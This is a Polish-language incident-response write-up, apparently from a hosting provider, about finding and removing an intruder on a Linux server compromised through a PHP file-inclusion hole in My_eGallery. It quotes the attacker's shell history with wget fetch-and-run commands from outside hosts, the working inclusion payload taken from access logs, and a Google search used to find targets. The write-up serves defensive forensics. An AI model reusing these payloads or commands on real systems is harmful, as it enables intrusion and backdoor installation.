|
Szukaj |
Opisano tu przypadek serwera z zainstalowanym wirusem, który nadal można uratować - bez konieczności reinstalacji.
# ps auxw nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000 nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.. nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven Najwyraźniej haker wykorzystał luki w skryptach php i mógł mieć dostęp do powłoki shell na serwerze. Następnie mógł zainstalować, skompilować i uruchomić różne programy. Widać, że używano nazw takich jak httpd, które oznaczają z reguły serwer apache. Na pierwszy rzut oka wygląda to na serwer web, mimo że tak w istocie nie jest. Haker mógł również zobaczyć to: # uname -a Linux nsxxxxxxx 2.4.24-custom-grsec #1 mar jan 6 22:29:56 CET 2004 i686 unknown Klient skompilował jądro bez błędu zabezpieczenia. Możemy zatem domyślać się, że haker nie mógł mieć dostępu roota do serwera. Przeprowadzimy kilka testów: # netstat -tanpu tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58215 CLOSE_WAIT - tcp 0 0 213.186.XX.XX :59768 68.123.42.162:1449 ESTABLISHED 16386/raven tcp 0 0 213.186.XX.XX :42473 195.47.220.2:6667 ESTABLISHED 647/fileoutlog. tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58698 CLOSE_WAIT - tcp 22 0 213.186.XX.XX :59768 80.96.33.10:52703 CLOSE_WAIT - tcp 0 0 213.186.XX.XX :42427 193.109.122.67:6667 ESTABLISHED 647/fileoutlog. tcp 0 0 213.186.XX.XX :36162 62.235.13.228:6667 ESTABLISHED 647/fileoutlog. udp 0 0 0.0.0.0 :3049 0.0.0.0:* 10279/rh Widać, że proces rh nasłuchuje na porcie 3049. W grę wchodzi wirus. Proces jest w stanie "nobody"; pewne jest, że wirus nie został zainstalowany (jak na razie). Należy być teraz bardzo ostrożnym. Jeden nieprawidłowy krok może skutkować instalacją wirusa w root i nie pozostanie nic poza reinstalacją serwera. Dlatego najpierw zaczniemy od sprawdzenia, czy chodzi o wirusa. Zainstalujemy antywirusa i przeglądniemy katalogi. # cd /temp/
Zrobimy to tak, żeby wirus nie mógł zmodyfikować antywirusa. # chattr -i antivir
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH. All rights reserved. Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ... 'AntiVir' is running in DEMO mode. VDF version: 6.23.0.34 created 18 Jan 2004 checking drive/path (cwd): /temp/antivir-workstation-2.0.9/bin scan results directories: 1 files: 1 alerts: 0 scan time: 00:00:01 Thank you for using 'AntiVir'. Teraz sprawdzimy katalogi: # ./antivir --allfiles /* 'AntiVir' / Linux Version 2.0.9-12 Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH. All rights reserved. Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ... 'AntiVir' is running in DEMO mode. VDF version: 6.23.0.34 created 18 Jan 2004 checking drive/path (list): /bin checking drive/path (list): /boot checking drive/path (list): /dev checking drive/path (list): /etc checking drive/path (list): /home checking drive/path (list): /initrd checking drive/path (list): /lib checking drive/path (list): /lost+found checking drive/path (list): /mnt checking drive/path (list): /opt checking drive/path (list): /proc checking drive/path (list): /root checking drive/path (list): /sbin checking drive/path (list): /temp checking drive/path (list): /tmp /tmp/bindtty Date: 24.01.2004 Time: 13:39:29 Size: 28143 ALERT: Linux/Rst.B virus /tmp/bindtty Contains signature of the Linux virus Linux/Rst.B /tmp/_30267_120_21.wrk Date: 24.01.2004 Time: 13:35:05 Size: 9834 ALERT: Linux/Rst.B virus /tmp/_30267_120_21.wrk Contains signature of the Linux virus Linux/Rst.B /tmp/d Date: 15.12.2003 Time: 16:41:54 Size: 132720 ALERT: Linux/Rst.B virus /tmp/d Contains signature of the Linux virus Linux/Rst.B /tmp/d2 Date: 24.01.2004 Time: 13:39:29 Size: 93694 ALERT: Linux/Rst.B virus /tmp/d2 Contains signature of the Linux virus Linux/Rst.B checking drive/path (list): /usr checking drive/path (list): /var scan results directories: 17 files: 713 alerts: 4 repaired: 0 deleted: 0 renamed: 0 scan time: 00:00:08 Thank you for using 'AntiVir'. Jest to Rst.B : http://www.computeruser.com/news/02/01/08/news1.html http://www.sophos.fr/virusinfo/analyses/linuxrstb.html NIE WOLNO dopuścić do jego instalacji. Obecnie wirus ten jest wykonywany przez nobody - użytkownik nie może zrobić wiele na serwerze. Mając połączenie root , jeżeli go zainstaluje, da mu prawo dostępu jako root czyli superużytkownik. Od tego momentu wirus mający prawo dostępu do całego dysku będzie oddziaływał na wszystkie pliki (które należą do root). # cd /tmp
-rwxrwxrwx 1 nobody nobody 28143 jan 24 13:39 bindtty -rwxr-xr-x 1 nobody nobody 132720 dec 15 16:41 d -rwxr-xr-x 1 nobody nobody 93694 jan 24 13:39 d2 drwxr-xr-x 11 nobody nobody 4096 jan 24 12:05 psybnc
drwxrwxrwt 3 root root 12288 jan 24 16:11 . drwxr-xr-x 19 root root 4096 jan 24 15:47 .. drwxr-xr-x 3 nobody nobody 4096 jan 24 13:42 ... -rw- 1 nobody nobody 803 jan 23 11:38 .bash_history Oto plik bash w shell. Sprawdźmy to, co dopisał hacker: # cat .bash_history
cd /var/tmp uptime mkdir " " cd " " wget http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz class="wiki" href="4">4 tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz rm -rf psyBNC2.2.1-linux-i86-static.tar.gz cd psybnc make rm -rf psybnc.conf wget e-2008.com/psybnc.conf ./psybnc w cd /var/tmp mkdir " .." cd " .." wget cool-life.org/alina chmod +x alina ./alina cat /etc/issue ./alina ./alina ./alina ./alina ./alina ./alina ./alina wget mephist0.3x.ro/insert.tar.gz tar zxvf insert.tar.gz cd 123123321 ./x ./x ./x ./x ./x ./x wget wget www.bogo.as.ro/linux/httpd chmod +x httpd ./httpd socklist ps ax wget ma-doare-n-pwla.com/bind.tgz chmod +x bind tar zxvf bind.tgz cd bind chmod +x raven ./raven kill -9 9296 ps ax killall -9 x killall -9 alina killall -9 psybnc ps afx killall -9 tmp/./bindtty killall -9 bindtty Widzimy, że utworzono katalog " " (ze spacją). Poza tym hacker instaluje bounce'a IRC, którego będzie wykorzystywał w przyszłości do łączenia jednego serwera z drugim. Pozwoli mu to na uniknięcie podania jego prawdziwego ip połączenia. Pozostanie zawsze anonimowy. Teraz zatrzymamy procesy : # ps auxw | grep nobody
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000 nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog. nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
Sprawdzamy, czy hacker nie zainstalował pliku crontab # cd /var/spool/cron/
drwx- 2 root root 4096 jui 17 2003 . drwxr-xr-x 7 root root 4096 jun 24 2003 .. Doskonale. Serwer jest znowu czysty. Ale haker może nadal wykorzystwać lukę w skryptach php i powrócić na serwer. Należy więc odnaleźć plik php, który nie jest zabezpieczony. # cd /usr/local/apache/logs W tym celu wyszukamy żądania GET w skryptach php, gdzie sprawdzimy parametry. Najprawdopodobniej haker użył wget, aby wgrać na serwer plik wykonywalny. # grep "php?" *_log | grep GET | grep wget ovh-access_log:202.133.101.83 - - 18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty5 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" Zgadza się. Sprawdzimy teraz, co jeszcze zrobił. # grep "202.133.101.83" ovh-access_log 202.133.101.83 - - 18/Jan/2004:11:40:01 +0100 "GET /~sitehacke/sitehacke/modules.php?name=My_eGallery HTTP/1.0" 200 14012 "http://www.google.com.my/search?q=allinurl:+My_eGallery+site:.net&hl=ms&lr=&ie=UTF-8&oe=UTF-8&start=420&sa=N6" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" 202.133.101.83 - - 18/Jan/2004:11:40:10 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=uname%20-a;%20id7 HTTP/1.0" 200 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" 202.133.101.83 - - 18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty8 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" 202.133.101.83 - - 96d43a2d2796410f1fc2b923b9186f9b "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=chmod%20777%20/tmp/bindtty9 HTTP/1.0" 200 705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" 202.133.101.83 - - 18/Jan/2004:11:41:24 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=/tmp/./bindtty10 HTTP/1.0" 200 734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en" I tak: Poprzez Google wyszukiwał stron, które zostały zainstalowane w My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site Najpierw próbował sprawdzić, czy ten skrypt ma lukę poprzez próbę wykonania uname -a; id . Widocznie to zadziałało. Zainstalował shella z wirusem i skopiował go do katalogu /tmp wget 20streez.org/bindtty -O /tmp/bindtty. Nastepnie przyznał uprawnienia wykonania temu skryptowi : chmod 777 /tmp/bindtty i wykonał go : /tmp/./bindtty To pozwoliło mu uruchomić shella i otrzymać dostęp do serwera jako nobody. A wszystko to w 1 minutę i 23 sekundy !! Zablokujemy ten katalog : # cd /home/sitehacke
drwx-r-x 4 sitehacke users 4096 sep 9 19:34 . drwxr-xr-x 98 root root 4096 jan 23 11:42 .. drwx-r-x 2 sitehacke users 4096 sep 9 19:34 cgi-bin drwx-r-x 6 sitehacke users 4096 dec 21 00:57 www
Haker łączył się z adresu ip 202.133.101.83 # whois 202.133.101.83 inetnum: 202.133.96.0 - 202.133.111.255 netname: MYKRISNET descr: Wireless Internet Service Provider descr: descr: Mont' Kiara, Kuala Lumpur, Malaysia. country: MY Ip z Malezji, prawdopodobnie zaatakowany abonent ADSL. Nic nie da złożenie doniesienia na Policję. W dmesg serwera widać: # dmesg grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: more alerts, logging disabled for 10 seconds grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: more alerts, logging disabled for 10 seconds grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: more alerts, logging disabled for 10 seconds grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99) grsec: more alerts, logging disabled for 10 seconds eth0: link down eth0: link up, 100Mbps, full-duplex, lpa 0x41E1 eth0: link down eth0: link up, 100Mbps, full-duplex, lpa 0x41E1 grsec: From 81.196.46.28: signal 11 sent to (km3:13236) UID(99) EUID(99), parent (km3:17922) UID(99) EUID(99) grsec: From 81.196.46.28: signal 11 sent to (km3:7660) UID(99) EUID(99), parent (km3:13236) UID(99) EUID(99) grsec: From 80.96.33.157: signal 11 sent to (psybnc:17799) UID(99) EUID(99), parent (init:1) UID(0) EUID(0) grsec: From 80.96.33.157: signal 11 sent to (psybnc:21648) UID(99) EUID(99), parent (init:1) UID(0) EUID(0) Haker chciał uruchomić softa alina, prawdopodobnie skan sieci. Na szczęście komórka GRS wykryła to i zakończyła ten proces. Następnie haker próbował przeprowadzić inne skany sieci. Były one na tyle agresywne, że połączenie sieciowe rj45 przerwało je w przeciągu kilku sekund : # grep "eth0" /var/log/messages Jan 23 11:29:25 ns10 kernel: eth0: link down Jan 23 11:32:14 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1 Jan 23 11:32:17 ns10 kernel: eth0: link down Jan 23 11:32:18 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1 Ponieważ połączenie zostało przerwane, wykresy MRTG nie pokazują ataku. Widoczne jest, że ip połączenia ponownie zmieniło się : # whois 80.96.33.10 Requete en cours whois.ripe.net inetnum: 80.96.33.0 - 80.96.33.255 netname: SC-NET-AND-COMPUTERS-SRL descr: SC Net & Computers SRL descr: Str. Petru Rares nr.7 Dorohoi country: ro Adres IP z Rumunii. # whois 81.196.46.28 Requete en cours whois.ripe.net inetnum: 81.196.46.0 - 81.196.46.31 netname: RO-OR-MULTINET-20030708 descr: Multinet Systems SRL country: RO Ponownie adres IP z Rumunii. # whois 80.96.33.157 Requete en cours whois.ripe.net whois.ripe.net inetnum: 80.96.33.0 - 80.96.33.255 netname: SC-NET-AND-COMPUTERS-SRL descr: SC Net & Computers SRL descr: Str. Petru Rares nr.7 Dorohoi country: ro Napiszemy wiadomość e-mail do administratorów sieci, którzy zarządzają tymi ip, aby sprawdzili swoją sieć. Nigdy jednak nie otrzymamy odpowiedzi i nigdy nie będziemy wiedzieć, czy sieć została sprawdzona. Wniosek: Aktualizuj swój serwer i sprawdzaj, co sie na nim dzieje. Atak hakera jest łatwy i szybki. Hakera nia można jednak odnaleźć. |